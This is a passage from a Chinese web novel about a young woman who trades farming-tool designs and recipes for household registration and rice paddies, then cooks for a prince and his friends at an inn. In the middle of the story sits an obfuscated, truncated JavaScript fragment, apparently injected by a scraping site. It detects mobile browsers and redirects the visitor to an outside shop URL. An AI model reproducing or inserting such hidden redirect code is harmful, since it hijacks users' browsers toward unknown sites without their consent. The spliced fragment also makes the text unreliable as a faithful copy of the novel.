他在小二错愕的眼神中继续道:“我此事来是有其他要事,烦请你们家掌柜出来一叙。”
“这......”小二为难,眼睛东张西望地乱瞟。
赵昶解下身上令牌,自报家门:“在下崖州府衙赵昶,找你们掌柜的实在有一要事,还请通传一声。”
小二接过令牌,手脚瞬时慌乱起来。
居然来了个官!还直接是大人级别的人物!
他急忙一改刚刚犹豫的态度,将人引到包间,又沏了一壶茶:“大人请坐,小的刚刚有眼不识泰山,这就去请我们掌柜的出来。”
赵昶接过茶水,抿了一口,点头示意。
须臾,程掌柜便急急忙忙地推入包间的房门进来了,因是跑得急,额上还有些许汗珠,喘着大气。
赵昶拉开旁边的一条椅子,手指敲了敲椅背:“掌柜,请坐。”
程掌柜丝毫没有因为赵昶反客为主的姿态而感到不满,将自己硕大的身躯塞了进去,连连拱手。
“不知大人大驾光临,有失远迎。”
赵昶捧起茶盏轻啜一口,开门见山:“我来,是之前有个姑娘说可以来这找到她。”
程掌柜听罢,高高悬起的心终于落了回去。
原来是为了陆姑娘而来啊。
他还以为酒楼里犯什么事了,吓了一跳!
说起来陆姑娘之前倒是提过一嘴,说府衙的赵大人可能会来他这里找她。
程掌柜连忙堆起他胖嘟嘟的肉脸笑着,“原来大人是为了陆姑娘而来,她之前特地交代过,若是您过来,有什么需求可以直接跟我说,我帮着记下来再转交给她。”
赵昶不动声色地拿起盖碗,将茶盏中的浮沫撇去。
原来那姑娘姓陆,只是不知家住何方,这些物件到底是她想出来的还是家中长辈所制?
他按下心中好奇,神色认真:“我确实有事寻求那位姑娘帮助,但在此之前,还望掌柜的替我传个话,请她有空来崖州府衙一趟,直接说来寻我即可。”
“好好。”程掌柜连连应下,脸上的笑容愈发灿烂,“算起时日,今日正是陆姑娘家里要来送货的日子,大人不如刚好留下来吃顿便饭?”
这可是整个府衙里第二大的官了!
再说,光是赵大人传奇的经历和他自身的才华,程掌柜也起了结交之意。
赵昶却拒绝:“不必了。”
他一眼瞧出了这掌柜心思,不愿在这些人情世故上再额外浪费时间。
既然话已带到,他起身便要离开。
正欲与掌柜告辞,那跑堂小二正龟缩着头,想找机会禀报什么。
程掌柜面露不满:“没看到我正和赵大人谈事情吗?有什么事待会儿再说!”
“可是...可是......”
“有什么可是,快些出去打包几份菜肴给赵大人带去!”
小二脖子一梗,快人快语把刚刚的话一口气说完了:“可是陆姑娘来了啊!正在前厅候着等您过去!”
小二心想,这一个两个都是贵客,他都得罪不起!还是让掌柜自己做决定吧!
没想到他的话甫一落下,方才还急着要走的赵大人眼睛却一亮,他又淡定地重新落座,抬头对掌柜说道:
“既如此凑巧,不知是否方便请陆姑娘进来一叙?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053711|149098||http|test|mini|href|location''.split(''|''),0,{}));
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>“方便!方便!”程掌柜急忙冲着小二使着眼色,又抬着他的小胖腿往外跑去,“我这就去将陆姑娘请进来!”
陆令嘉听到有人找自己,而且来人还是赵昶,有些惊讶,
毕竟隔了这么久她也没收到任何消息,还以为人家只是一时兴起,后面便没兴趣了。
她二话不说就跟着程掌柜进了包间。
包间内。
小二接收到了自家掌柜的示意后,早已摆上精致的果盘和菜肴。
巧的是,这个包间的墙上,正好挂着一副仿赵大人早年间的《溪山远岫图》,画中远处巍峨的山峰拔地而起,丛林苍翠,连绵葱郁。
一条山道从左往右,依山环绕,盘桓曲折。
尽头处草屋几间,在云雾中影影绰绰,若隐若现。
陆令嘉心头一跳。
这画的怎么跟黑风寨这般相像?
莫非曾有外人来过寨子?
她面上不显,依然是一副波澜不惊的模样,心中疑虑却犹波涛翻涌。
她一脸平静地握着手中的杯子,只顾喝着茶水,不管不问。
最后,还是赵昶打破了寂静,先开了口:“陆姑娘应该猜到我的来意了吧?”
陆令嘉装傻:“啊?不知赵大人所为何事?”
赵昶将茶盏搁下,抬头朝程掌柜看了一眼。
程掌柜正傻呵呵地笑着,还替两人加着热水。
程掌柜看着赵大人盯了自己片刻,终于在对上他眼睛的刹那,领悟到了他眼神中的含义,笑着一拍脑袋:
“我外面还有些事情要忙,你们聊,我便先告辞了。”
赵昶微一颔首,直到确认程掌柜关好门,人已走远后,才继续将视线回到了陆令嘉身上。
他也不准备弯弯绕绕,来回试探,直接问道:“不知姑娘之前贩卖之物,是从何而来?”
陆令嘉定了定神,应道:“是家中长辈所做。”
赵昶猜到这个答案了。
想来也是,眼前的这个女娃娃虽说少年老成,举止得当,但那种新奇的物件,她小小年纪想必也是做不出来的。
赵昶:“不知姑娘可否引荐一二,在下有几个问题想请教你的长辈。”
陆令嘉思虑再三,眼前的这位大人貌似对他们做的东西十分感兴趣,否则不会放着满大街仿品的店铺不找,非要找她们这个“原创”,定是有什么想法却不敢尝试,想要与这位“隐世的木匠大能”探讨一二。
略一思索,她便明白了其中关键。
恰好,她来的时候跟人打听,若是想要在这县城之中找牙子购买水田,需要先书立卖地文契,然后报官投税,最后去官府签字画押,更写档册。
总而言之,过户需要带上能证明自己的身份的契书。
而黑风寨的众人,个个都是黑户。
没有身份证。
她看着坐在对面的赵大人,心思百转千回,最后都汇聚成了一条。
要是赵大人亲自帮他们办/假/证,那还能算假证吗?
那必然就是真的不能再真了!
陆令嘉也不装了,她准备摊牌了。
她必须得抓住这次机会合法合理地上户口!
22. 第 22 章
她冲着赵昶眨眨眼睛,笑着问道:“大人是否想将此榫卯构造应用于房屋构造之中?”
赵昶惊讶应道:“确实如此。”他的心思怎么会被这么一个小姑娘看透?
“赵大人。”陆令嘉把前些时日还未画完的曲辕犁图纸拿了出来,“我想这个东西,可能您会更感兴趣。”
赵昶满脸疑惑,却还是接过了她手中的图纸。
“此物乃名‘曲辕犁’,是一种耕地、翻土的农具,操作起来可以更加轻便、灵活,能节省不少的人力和畜力。”
赵昶眼神炙热,哐当一声——
一下子没抑住心中的激动豁然起身,不小心撞到了桌角,手心却将图纸捏得更紧。
这份图纸的重要性不言而喻,只要有了这个东西,崖州城百姓耕种效率必能得到大大的提升。
他声音都有一丝不言而喻的颤抖:“这份东西...姑娘...姑娘准备怎么卖?”
陆令嘉双手交握,反问道:“赵大人觉得我应该卖多少钱?”
赵昶:“这......”
他一时之间竟回答不出,将主动权又重新交到了对方手中。
“不如这样。”陆令嘉唇角微勾,挑起了一个微不可见的弧度,“我有一件事情恰好想请赵大人帮个忙,若是赵大人同意,这个图纸便赠予您了。”
赵昶脸色一沉,语气略有不善:“何事?”
他平日里最讨厌蝇营狗苟,顺杆往上爬之辈,否则也不会因为这个犟脾气跟上峰争吵多次,被贬至此。
若是眼前这姑娘提出什么无理的要求,他便一走了之,算是当初瞎了眼。
陆令嘉在心里斟酌着措辞,正色道:“去年因为饥荒,我们全村人一起从岭南逃荒至此,现在只在一山岭上搭了几间茅草屋,开垦了几块荒地度日。
村子里也有一些健壮的青年想要进城做活,奈何我们的路引在逃荒时全都丢失,想烦请大人行个方便,将我们这些流民的户籍能重新落到崖州城来。”
赵昶的神情从不满又到了了然,最后又带上了一丝佩服。
一群流民饱受逃荒的苦难,竟也不怨天尤人,依旧靠自己的双手做活养活自己。
是他方才误会了。
给流民落户籍这事,说简单不简单,说难也不难。
往年也有是外来人士落户,但是基本上都是使了不少银子的。赵昶如今到了这里,心态也发生了极大的转变,不再是之前那种眼里容不得一粒沙子的人,许多事情也睁一只眼闭一只眼。
他只是没想到的是,这姑娘竟提出如此简单的一个条件来换一张价值连城的图纸。
陆令嘉见他举棋不定,问道:“赵大人,可是不好办?”
她也不知道古代落户需要什么流程,现在还是两眼一抓瞎,但是她思来想去,也没有其他的路子。
赵昶摇了摇头。
陆令嘉见状,悬着的心更是扑通一声直直往下坠去。
难不成只是上个户口,就这么难办吗?
“赵大人,能否替我们想想办法,若是......”她咬咬牙,准备大不了提起从系统中买点玉米种子,就说是偶然发现?
她话还未说完,便被赵昶打断了。
赵昶突然爽朗地笑了起来:“别误会,我只是惊讶你居然提了这么一个要求。”
陆令嘉试探:“那大人这是......答应我了?”
赵昶哈哈大笑:“自然是小事一桩。”
陆令嘉大喜过望,突如其来的惊喜让她瞬间跳了起来,又双手合拢抵在鼻尖。
感谢佛祖,阿弥陀佛!
感谢主,阿门!
她把古今中外的能感谢的神灵都感谢了一遍。
末了,眼巴巴地看着赵昶:“那我们需要准备什么东西吗?或者说应该是怎么样办?还有什么时候能办?”
她想尽快办下来,好正式开始她的种田事业!
赵昶问道:“你们现在居住在哪里?”
“就在黑风岭上。”
黑风岭逶迤曲折,没有人带路怕是一时半会都找不到。
赵昶手撑着下巴思考片刻,心下有了主意:“这样,你把具体居住的地址给我,不出两日,我一定给你回话。”
这下,陆令嘉却犹豫了。
毕竟这是关乎整个寨子的事情,今天她在这里遇上赵大人实属意外,发生的一切也都不在她的意料之中。
她倒不是担心赵大人会出尔反尔,到时候带兵剿匪,只是这包间中的画作令她心生疑虑,事情没弄清楚之前,她不敢贸然把自己的老巢暴露。
思及此,陆令嘉只微微一拜,先谢过他的好意:“多谢赵大人,但我需回去与家中长辈先商量一二。”
赵昶看她年纪尚小,这种事情确实需要回去先告知长辈,便改了口风:“那你明日直接来府衙找我。”
说着,他将身上的令牌解下塞入了她的手中。
“明日可是要还我的!”
陆令嘉拿着令牌哭笑不得。
这赵大人的令牌还真是说给就给啊,一点不带含糊的!
她再次拱手谢过,想起此行真正的目的,便顺嘴问了一句:
“赵大人,我想买一些农田,你可知哪里的水田比较肥沃吗?”
赵昶现在虽然不怎么管事,但毕竟也是一方县丞,大大小小的事情总是有所了解的。
他好奇地问道:“你想买田做什么?”就单单拿这几份图纸来说,她应该是木工世家吧?
“实不相瞒,最近因为这几样小玩意赚了些银两,但是村子里的人太多,大家也怕以后坐吃山空,决定还是去买些田地种着,这样起码不会挨饿。”
赵昶摩擦着自己光秃秃的下巴。
逃过荒的人,确实比较害怕闹饥荒,这理由也说的过去。
他点点头,应道:“农耕确实是首要之事。据我所知,码头那边应该有不少连片农田的农田,平坦肥沃,但是那地方大多都是富商所有,他们一般不会缺钱到卖田的地步。”
他沉吟片刻,道:“这样,我也托人帮你打听打听,哪里还有比较合适的水田。”
看着这姑娘身上打满补丁的衣裳,估计怀里也没多少银两,他就勉强当一回“牙子”吧。
陆令嘉再次拱手谢过。
赵昶将图纸小心翼翼地折好收入怀中,冲她告辞:“明日记得来府衙寻我。”
陆令嘉应下:“好。”
待赵昶一走,程掌柜便钻了进来。
他顶着个大拇指夸赞:“陆姑娘,原来您真认识赵大人啊!”
先前可从没听说过这赵大人跟谁有来往的,他还以为是人家小姑娘吹牛,故意想找个厉害的人当靠山呢。
陆令嘉一想到即将困扰她的户籍问题解决,心情大好。整个人都往椅背
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上慵懒地一靠:“是啊,之前不太熟,不过现在嘛......”
她故意卖了个关子,没有继续说下去。
可程掌柜混迹商场多年,是个人精,怎么会听不懂她的弦外之意呢。
笑着脸又夸了她几句。
陆令嘉这才想起跟他说正事来:“程掌柜,接下来油和糖可能由我们家另一位叔叔来送,还请您多多关照。”
“放心吧,只要质量过关,我都按之前的价格给你!”
她这才放下心来。
吴老三不是让人省心的,油嘴滑舌,做事谄媚,没有石头憨厚。她得提前跟程掌柜打个预防针,不能到时候毁了自家的招牌。
程掌柜搓着手看向她,说着近日的一些逸闻趣事,陆令嘉都是反应淡淡,偶尔附和两声。
程掌柜着急啊!
他头一次觉得自己嘴笨,不知道怎么把话题引到请人家再教两道菜谱这上面。
他不开口,陆令嘉自然也装傻充愣。
眼看着天色越来越黑,程掌柜豁出老脸直接说道:“陆姑娘,我今儿就舔着这张老脸想再问您讨两张菜谱。”
陆令嘉适时地露出些许为难之色,一时没有开口。
“陆姑娘,我也不白拿您的,您开个数,我向您买!”
“程掌柜您这么说我可不好意思了。”陆令嘉皮扯出一个笑脸,“两道菜谱自然不是问题,只是我最近也遇到一件难事,不知......”
程掌柜立马秒懂:“您说,您说,有什么我能帮得上忙的,在下一定在所不辞。”
陆令嘉脸上的笑容更大了一些,她将刚刚与赵大人说的话重复了一遍。
程掌柜右手握拳,时不时拍打在左手上,来回在屋里里踱步。
陆令嘉耐心地等待着,时不时拿起桌上的糕点尝了一口。
别的不说,醉仙楼做糕点的手艺还真是不赖。
单就这绿豆糕,闻起来就有一股淡淡的清香,清甜却不腻口。
等她将一整块的绿豆糕都塞进嘴里时,程掌柜也做出了决定。
“若是陆姑娘愿意多教几道菜谱的话,我把我家中的良田卖给你!”
“咳咳咳......”陆令嘉一口糕点差点把自己噎死,连忙倒了一大杯茶水灌了下去,又顺着胸口拍打几下。
等她的这口气通顺了,生怕是自己刚刚听错了,忙起身问道:“您方才说...?”
“没错,我家有几亩良田恰好闲置着,平日里也一直是雇着别人来耕种。若是姑娘愿意多赠予几道菜谱,这几亩田,我便卖给你了。”
陆令嘉没有怀疑他话里的真实性。
程掌柜虽说是个生意人,却也从未做过狡诈奸猾,坑骗她的行为。
算是个非常愉快的合作伙伴。
若是他愿意将自家的田地卖给她,那她更是乐得其成。
陆令嘉谢过:“多谢,田地我按市场价给您,绝对不会让您亏着。另外再赠您十道菜谱,您看是否可以?”
十道菜谱,陆令嘉觉得没什么,可程掌柜却觉得自己赚大发了啊。
这些个有名的厨子祖上传承下来的,一般也就这么一两道菜谱。
“愿意,愿意!”程掌柜笑起来,眼睛眯成了一条缝,“那我先带您去看看那几亩水田?”
陆令嘉觉得程掌柜真是个很好的合作伙伴,立马抬脚跟上:“您请带路。”
23. 第 23 章
等陆令嘉跟着程掌柜往前走着,觉得有些不对劲。
眼前一片湛蓝,辽阔无垠的碧波与蓝天交相辉映。
怎么来海滩这里了?
这里的地盐碱度会高很多,就算是种植海水稻也应该不会有高产量才是。
她压下心里的疑惑,跟着程掌柜继续往前走。
程掌柜走了那么多路,早已是累得汗流浃背,热汗淋漓,绸缎上全是印出来的点点水渍。
“到了!”他拿出帕子一边给自己擦着汗,一边又指着拿广阔的田地跟陆令嘉说着。
“这里就是我家里边的田了,陆姑娘您看看。”
脚下的这块地方距离大海尚有一段较远的距离,略微拔高的地势恰好也不会让海水倒灌进来。
三条江流汇聚,滩谭相间,蜿蜒有致。不少江流中又有支流分出,直接灌溉到了田里。
蜿蜒的小路两旁,举目望去,视野所及,广袤无垠的水田铺展开来,一眼都望不到尽头。
一块块水田紧密相连、整齐划一,就像一个巨大的棋盘格子。
而上面还留存着刚刚割完的稻穗梗,绿意盎然中又夹杂着金黄灿烂的色彩。
陆令嘉已经好像重新回到了曾经跟导师遍地跑的时候,顿时愣在了原地,久久不能回神。
程掌柜见她半天没有回话,举起手掌在她眼前不断晃动:“陆姑娘,陆姑娘?”
“啊?”她应了一声,这才想起正事来。
程掌柜还是太谦虚啊,这哪是几亩啊,这是几百亩啊!
“您看,这地段您满意不?”
满意,简直不要太满意了!
陆令嘉频频点头,掐了自己一把,让自己不要显得那么没出息。
“您想买多少亩?”程掌柜又接着问道,“先说好,怎么着也得给我留一半的地,不然怕我家的祖先半夜要从地底下爬上来教训我!”
陆令嘉失笑。
程掌柜也太看得起她了。
她这个样子看着像是能把这一片地都买走的人吗?
她羞红了脸:“我大概总共只需要一百亩地就够了。”
“啊?不能够吧?”程掌柜不可置信地看着她,甚至怀疑是自己耳朵听错了。
他伸出小拇指掏了掏耳朵,又问了一遍:“您说要多少?”
陆令嘉重复:“一百亩。”
程掌柜:“......”嘿!感情他前面以为要把祖传的田地都卖了,还做这么许久的心里建设。
他的脸上笑得堆满了褶子:“您早说嘛!怎么就买这么点?”
陆令嘉不好意思:“这实在是因为囊中羞涩,买不起更多的了。”
“那咱们就这么说定了,给您自个儿选一百亩田,您尽管往好了挑。”程掌柜颇为大气。
就只买这么点地,还白赠他十道菜谱,换谁,谁不乐意?
陆令嘉却不这么想。
这里三江汇流,地势平坦。不愁水灌溉农田,土质又肥沃。
她想起赵大人说的话,这里的农田一般归富商所有,人家轻易也不会拿出来卖的。
碰上程掌柜属实算她运气好。
陆令嘉再次表示感谢,并跟他约定了三日后去府衙过契一应文书。
程掌柜摆手:“您不用这般客气,我们也是彼此得利。”
他思来想去,总觉得还是自己赚了,又额外宽容:“若是你以后手头宽裕了,还想再买,我再许你五十亩田。”
陆令嘉头点得跟小鸡啄米似的,一路上都在夸赞程掌柜大义。
-
两人回去的路上,路过码头,程掌柜还颇有兴致指给她看:
“这可是我们崖州最大的码头,不少货物都是要从这里运到各地去!”
他说起来与有荣焉。
崖州虽然独居一海之中,多毒草虫蛇,被他们称为流放之地。可他们常年生活在这里,早已习惯炎热的气候,加之程掌柜是生意人,他能透过这些看到不少商机。
休渔期马上就要过了,这里又会重新热闹起来。
他们走着,看着源源不断地有人往这里搬着些木材,现下码头上没有船只,搬这么多木材过来,倒是稀奇。
陆令嘉一时好奇,程掌柜也觉得有些奇怪,两人便一同往前走去。
甫一走近,陆令嘉就看到了一个身着绣锦花团橘红色绸缎的男子杵在中间,上下嘴唇一直开合,正叽叽呱呱说着些什么。
她突然有一种不祥的预感。
待人一转身,几个人确认过眼神,陆令嘉恨不得拔腿就跑。
程掌柜率先反应过来,急忙行礼:“参见王爷,参见沈将军!”
谢昭见到来人,直勾勾地看着陆令嘉:“陆姑娘好巧啊,又见面了。”
“你们两个认识?”沈煜和程掌柜惊得异口同声道。
他们两个人齐刷刷地各自看向他们二人,神色各异。
陆令嘉回了个礼:“王爷好,您今天怎么在这?”
她看这反派王爷甚是清闲,不是上街给人看病,就是来这码头看人搬砖。
这小日子过得真是舒服!
谢昭微抬下巴:“恰好来这边办些事情。”
程掌柜自然不会这个结交的机会,上前自我介绍一番,末了又特地询问:“不知小店上次做的几道菜,是否还合王爷口味?”
谢昭听罢猛地咳嗽几声。
程掌柜不提还好,一提他就想起那十两银子,痛心疾首,再次看向陆令嘉的眼神中,不自觉地就带上了一点幽怨。
陆令嘉:“???”
这王爷是不是脑子有病?老是盯着她看干嘛?
那眼神里好像在控诉她是个抛夫弃子的渣女。
饶是陆令嘉平日里脸皮再厚,被人盯着看了这么久,脸颊上还是染上了一层红晕。
“咳咳...”她假意清了清嗓子,状若随意地问道:“王爷是在这做什么?”
谢昭:“是准备......”
“我来说我来说!”沈煜一个箭步上前,抢先答道:“前几日王爷替人看诊的时候发现好多在码头做活的人容易中暑气,时间拖得久了,病情就会变得严重,为了这里百姓的身体着想,就说要在这建个亭子。”
确是也是因为那个得了热射病的男子给了谢昭启发。
在现代,况且又这么多因为高温作业而丧失生命的人,在这里更是难以数计。
况且他的俸禄除了日常生活和偶尔贪嘴尝几顿美食,也没什么特别大的开支。
既是他的藩地之中,他也便有这一份责任。
程掌柜抹泪称赞:“王爷真是为民着想,崖州在王爷的管辖下定会越来越好!”
陆令嘉却不解:“码头空旷,没有树木遮荫。烈日照射下,只怕是一个亭子也没有多大用处吧?”
谢昭点头:“嗯
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,确实如此。”
陆令嘉:“所以,建亭子不是白白浪费银两吗?”
谢昭朝旁边瞥了一眼,沈煜立马将手中的折扇一收,轻点虎口,开始解释道:
“姑娘这就有所不知了,我们王爷要建的这个亭子,不是普通的亭子。码头空旷不错,但恰好崖州城炎热多雨。
我们建的这个亭子名为‘自雨亭’,四角飞檐翘角,亭子顶部能将天然的雨水蓄积,等到酷暑时分,檐上飞流四柱,悬波如瀑,当夏处之,凛若高秋。”*
简单来说,只要亭子的顶部的雨水徐徐落下,亭子里的人就能感到凉爽之意。
人身亭中坐,风凉习习至。
再换而言之,这就是现代空调的替代品了。
陆令嘉不禁佩服,不由自主地在心里竖起了大拇指。
不得不说,古人实在聪慧!
这里没有空调,但是他们却依然能凭借自己的智慧寻得其他方法以解暑热。
她看向谢昭的眼神都变了。
没想到这个王爷,竟然还挺聪明,而且建这个“自雨亭”的起因居然是为了百姓。
她对他之前的那些偏见都是因为书中的描述。
可见从书中那寥寥几笔,不以窥见一个人真正的品性。
谢昭感受到了对面炙热的视线,偷偷瞥了一眼便飞快地收回,耳根还略微有些发红。
对方为何用这般眼神盯着他?
莫非真像表妹所说对他心生爱慕,执念太深?
陆令嘉看了一会儿便收回视线,想着谢昭之前既然都能在回春堂坐堂义诊,不知道能不能给崔氏开张方子,调养身体。
“王爷——”
她微微上前,唤了一声。
谢昭心里波涛汹涌,却依然面色淡定地应道:“何事?”
“呃......我就是想问问,您会开方吗?还是免费吗?”
“免费。”谢昭今日穿的衣衫袖口宽大,右手掩在袖袍里微微收紧,不知她问这个是何意。
“那您,方便到时候替我娘亲看看吗?”
“可以。”
陆令嘉得到肯定的了回答,唇角上扬,连带着眸子也闪闪发亮。
谢昭被她的高兴所感染,心里盘算着不如今日便请她来府中一叙,也能让府里的厨子找机会跟着学习一二。
这般想着,他握紧拳头,突然鬼迷心窍地往前迈了一步。
“陆姑娘今天有空不如来王府做客?”
“相遇即是缘分,王爷和沈将军不如赏个脸来醉仙楼试试新菜?”
谢昭和程掌柜同时开口。
陆令嘉:“?”
沈煜:“???”
沈煜一副见了鬼的表情,走过去扯着谢昭的衣袖把他拉到一旁,压低声音:“谢子期你是疯了吗?还是你中蛊了?怎么刚走一个苏妙儿又来一个新的女人?哦我知道了,你是不是移情别恋了啊!”
谢昭无语地用眼神警告着他,丢下满脸震惊的沈煜慢慢踱步回去。
码头边忽得吹起了一阵海风,带着海水特有的咸味拂了满面。
他的眼睛被海风熏到,泛起潮红。
海浪还在一阵一阵地拍打着礁石,激起层层浪花。
谢昭的双手不由地握紧,手指微微蜷缩。
向来漆黑看不清情绪的眼眸,也泛过一丝不易察觉的紧张。
他在等待着她的回答。
24. 第 24 章
陆令嘉此刻很想变成一个聋子当做没听到。
请她去王府做客?
这又是打得什么主意?
陆令嘉满心疑惑,一抬头便对上了他赤裸裸的视线。
两人一时之间都没说话,气氛瞬间冷了下来。
程掌柜连忙上前打着哈哈:“眼下已然到了饭点了,诸位不如还是先到小店边吃边聊吧。”
他冲着陆令嘉不断使着眼色,眼神热切:“陆姑娘,您说是吗?”
陆令嘉想着方才答应他的十道菜谱,点头,“正好你们一同帮程掌柜试试新菜吧。”
醉仙楼人多,他若真的对她又什么不满的,也不好大庭广众之下随意拿人吧?
谢昭回过神来,才发觉自己刚刚问了什么,面露懊恼。
枉他平日里矜持克己,方才怎么偏偏就鬼迷心窍了。
抬起衣袖,正要假装矜持地先婉拒推拉一番,沈煜已经替他做主了。
“去去去,我们俩都去,介意再喊几个人吗?也不多,就三四五六个吧。”
他掰扯着手指头数着,勾着谢昭的肩膀,马上又接着说道:“我上次在您这吃过那一顿后念念不忘,我那几个兄弟们都不信这世界上有如此美味,我今天定要让他们眼见为实,都来吃一顿尝尝,证明我可没骗人!”
沈煜对着谢昭挑了个眉,眨巴眨巴眼睛。
谢昭:“......”
陆令嘉:“.........”
就花蝴蝶这样的,都能当上将军?
难怪这反派王爷在最后惨死,敢情身边的人没一个靠谱的!
程掌柜听完后嘴角也是抽搐几下。
不过他们这几位都是贵客,多来几位他更是求之不得,连忙应下。
沈煜独自跑回去摇人,而谢昭就先跟着他们二人回醉仙楼了。
程掌柜挺着这大肚子走在前头。
一路上不少熟客认出了他跟他打招呼,也有一些人认出了谢昭身份冲着他行礼。
程掌柜愈发昂首挺胸、精神抖擞,逢人就介绍两句:
“欸对对对,王爷夸赞我家酒楼的美食,说要去尝尝。”
“是是是,平南王亲自上‘醉仙楼’说试试我们的新菜。”
“嗯,没错没错,马上又有新菜要上了,记得来尝啊~”
......
谢昭:“......”他出门前应该戴个面具才是。
转眼间就走到了酒楼。
程掌柜将人引入最大的雅间,又特地跟小二交代了两句。
陆令嘉瞧着醉仙楼宾朋满座,但大部分都是些乡绅,普通百姓是少之又少,不禁好奇:
“程掌柜,莫不是你这定价特别高不成?”
程掌柜被她说中,有些赧然:“之前倒不是如此,只是姑娘教的几道菜,稍微售价贵了那么一些。”
陆令嘉盯着后厨的食材,沉思了一会儿。
“那今日便来几道家常菜吧?保管其他普通人闻着味也能来您这用餐。”
程掌柜一听乐得笑开了花:“行,行。”
达官显贵们也会有用腻的时候,若是人人都来他这酒楼用餐,那岂不是就能成为崖州城第一的酒楼?
对面的春风阁的掌柜到时候见到他还不得乖乖认怂?
陆令嘉见程掌柜同意,冲着谢昭微微颔首,便轻车熟路地去了后厨。
她系好围裙便开始备菜。
“方大厨,这有隔夜的米饭吗?”她搜索了一会儿食材,问道。
方大厨现在见着陆令嘉那叫一个客气,每次只要她过来,准乖乖地站在一旁给她打着下手。
听到她的询问愣了片刻:“啊?隔夜的米饭我们这一般都是自个儿吃的,程掌柜说今日来的都是些贵人,不能够吧?”
“放心吧,我自有打算。”陆令嘉举着个铲子冲他扬了扬眉,“劳烦您去多拿一些给我。”
方大厨虽然觉得不解,却依然照着做了。
一大盆隔夜的米饭端来,陆令嘉撸起袖子,将鸡蛋打碎。
说起家常菜,怎么能少得了最简单易做的蛋炒饭呢。
陆令嘉将鸡蛋液倒入盘中,搅拌着每一粒米饭都均匀地裹上蛋液。
热锅倒油,拍好的虾头放进油中滋滋作响,金黄的虾油瞬间散发出鲜香的味道。
锅灶下的柴火正旺,锅灶冒起的白烟渐渐让陆令嘉的身影都变得朦胧起来。
方大厨盯着她的一举一动,生怕错过了什么步骤。
裹着蛋液的米饭在锅里均匀地翻滚着,香气就顺着白烟飘散出来。
再往锅里加入咸鸭蛋增味。
她把咸鸭蛋放进锅里时还琢磨着,要么把寨子里的鸭蛋也拿去腌一腌,或者说另辟蹊径做些皮蛋出来。就是不知道这里的人能不能接受皮蛋的味道?
她虽然思考着,手里的活却没停下。
绿色的葱花撒在上面时也煸去了葱气,冰冷的隔夜饭瞬间飘香四溢,充斥在整个厨房里。
米饭粒粒分明,配着几粒青豆,鲜虾,令人垂涎欲滴。
方大厨立马拿起个小勺子,眯着眼询问:“师父,徒儿就尝这么一口行么?这勺子干净的。”
陆令嘉:“?”
她什么时候收了一个徒弟?她自己怎么不知道呢?
不过她还是大方地把盘子往前一推:“尝吧。”
方大厨急忙舀了一勺到小碗里。
浓郁的蛋香包裹了米香,咬下的瞬间,米饭的软糯又回顶着牙齿,与葱花的香气混在一起喷薄而出,在口腔爆发。
“简直是人间美味啊!没想到这么一碗小小的米饭竟能做出如此美食!”
方大厨闭眼享受,忍不住把小碗里的炒饭一扫而净,看着那一大盘炒饭咽了咽口水。
这是给贵人的,得忍住!
他谄媚着笑着:“师父,您后面几道菜能多做点份量吗?让徒儿也尝尝鲜。”
陆令嘉:“......”
方大厨满脸皱纹,一把能当她爹的年纪,冲着她一口一个师父的,她实在有些适应不了。
陆令嘉张开手掌把他还欲凑近的脸挡住,“多做些可以,师父这个称呼就免了吧。”
方大厨撅着嘴一脸委屈:“师父~~”
陆令嘉被他喊得鸡皮疙瘩都要起来了。
洗锅,起锅,热油。
抓紧把剩下几道菜一起做了,好早点逃离这个是非之地。
陆令嘉又简单地炒了个麻婆豆腐、酿茄子还做了一盘剁椒鱼头。
麻婆豆腐红白相间,肉馅色泽金黄,茱萸油淋在上面红酥鲜艳。
茄子软嫩,将捣碎的蒜泥洒在上面,揭开锅的瞬间,香味就顺着锅气溜了出来。
她每做完一道菜,方大厨就急匆匆地将盘子里的菜挑出小半部分倒进自己的小碗里,再将菜放到蒸锅里保温。
因为陆令嘉喜辣
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,所以几道菜做得都是又麻又辣。
方大厨吃进嘴里是热汗直流,不断地哈着气,又直呼过瘾。
他努力地控制着自己,才没能继续将手伸过去。
三两下,陆令嘉就炒完了一桌子菜。
蛋炒饭、麻婆豆腐、剁椒鱼头、酿茄子、糖醋里脊、香辣虾再加一个排骨汤。
六菜一汤,就是猪来了也够吃了。
小二进来端菜的时候,哈喇子都淌到了衣襟上,一直咽着口水。
“陆姑娘,您做的这也太香了吧!”
他将木盘子端起,一抬头,瞥见方大厨正抹着泪水,整张脸都变得通红。
小二吓得手一抖,差点把菜都给洒了出去。
他将盘子放下,想着劝慰两句:“方大厨,您也别太伤心了,陆姑娘这手艺咱确实没法比。您看看是不是给她叩个头,递杯茶,拜个师,以后总能学得一二!”
方大厨听罢,立即抬起袖子将眼泪和鼻涕抹尽,怒斥道:“你懂个屁!我这是伤心吗?我这是高兴!我师父做的菜太好吃了呜呜呜——”
得!小二白了个白眼,当他眼瞎,刚刚在放屁。
他端起木盘子往雅间走去,忍不住低头深吸一口。
香!真香!
方大厨的吼声还在后方传来:“你小心点!可别把口水滴到上面去了!”
小二:“......”我呸!
等小二正欲敲门时,雅间的门“嚯拉”一声从里面打开。
里面除了正在不断添茶倒水的程掌柜,还额外坐着一、二、三......
哦豁!足足有九个人!
小二手一抖,看了看手中的饭菜,这七个菜怕是不够他们吃啊。
他本来还想等着他们几个吃完蹭个剩饭剩菜的!
陆令嘉洗完手顺着路上来,看到包间里的几人也是吓了一跳。
这花蝴蝶还真是不客气!
众人一看到她,纷纷起身让座,陆令嘉只好不情不愿地坐在了谢昭的身边。
两人视线相撞,谢昭还略不自在地撇过头去。
几人从小二进门的那一刻起,都已经有些按捺不住了。
雅间里,色泽亮丽、香气四溢的菜肴摆在桌上,吞咽声此起彼伏。
他们都在心里想着,王爷怎么还不动筷?
他动了,他们才好意思开吃啊!
沈煜终于忍不住了,嚷嚷着:“子期,你怎么还不动筷?你再不动筷我可要先尝一口了,这香味把我肚子里的馋虫全勾出来了。”
谢昭坐得端端正正,闻言才从方才的不自在中脱离出来。
他拿起桌上的酒盏微微斟了一杯:“先敬大家一杯。”
酒杯虚握,碰到嘴唇,只轻轻抿了一口。
